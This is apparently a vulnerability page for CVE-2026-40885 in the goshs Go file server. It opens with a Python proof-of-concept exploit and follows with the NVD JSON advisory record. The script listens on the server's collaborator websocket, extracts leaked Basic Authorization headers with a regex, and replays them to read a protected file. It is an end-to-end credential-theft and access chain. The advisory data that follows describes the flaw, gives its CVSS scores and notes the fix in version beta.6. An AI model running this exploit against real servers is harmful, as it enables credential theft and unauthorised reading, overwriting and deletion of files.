CVE-2026-40885

import asyncio import websockets import requests import re TARGET_URL = "http://target-server:port" WS_URL = "ws://target-server:port/.goshs/ws" # Hypothetical WebSocket endpoint PROTECTED_PATH = "/.goshs-protected/secret.txt" async def steal_credentials(): """Connect to the collaborator websocket to capture Authorization headers.""" async with websockets.connect(WS_URL) as websocket: print("[+] Listening for requests on collaborator channel...") while True: try: message = await websocket.recv() print(f"[+] Received packet: {message[:100]}...") # Extract Basic Auth token (e.g., "Basic base64string") match = re.search(r"Authorization: (Basic [^"]+)", message) if match: print(f"[!] Credentials captured: {match.group(1)}") return match.group(1) except Exception as e: print(f"[-] Error: {e}") break return None def exploit_poc(auth_header): """Replay the captured credentials to access protected files.""" headers = { "Authorization": auth_header } full_url = f"{TARGET_URL}{PROTECTED_PATH}" print(f"[*] Attempting to access {full_url} with stolen credentials...") response = requests.get(full_url, headers=headers) if response.status_code == 200: print(f"[!] SUCCESS: Access granted.") print(f"[!] File Content: {response.text}") else: print(f"[-] Failed: Status code {response.status_code}") if __name__ == "__main__": # Run the exploit chain creds = asyncio.get_event_loop().run_until_complete(steal_credentials()) if creds: exploit_poc(creds)

{"cve": {"id": "CVE-2026-40885", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:02.257", "lastModified": "2026-04-27T14:51:50.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "goshs is a SimpleHTTPServer written in Go. From 2.0.0-beta.4 to 2.0.0-beta.5, goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. This vulnerability is fixed in 2.0.0-beta.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta4:*:*:*:go:*:*", "matchCriteriaId": "486D1F77-023B-4EB9-8B49-17EF6546F2DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta5:*:*:*:go:*:*", "matchCriteriaId": "5834E73F-2EF9-42BD-BE8B-DE087A19A132"}]}]}], "references": [{"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-7h3j-592v-jcrp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-7h3j-592v-jcrp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}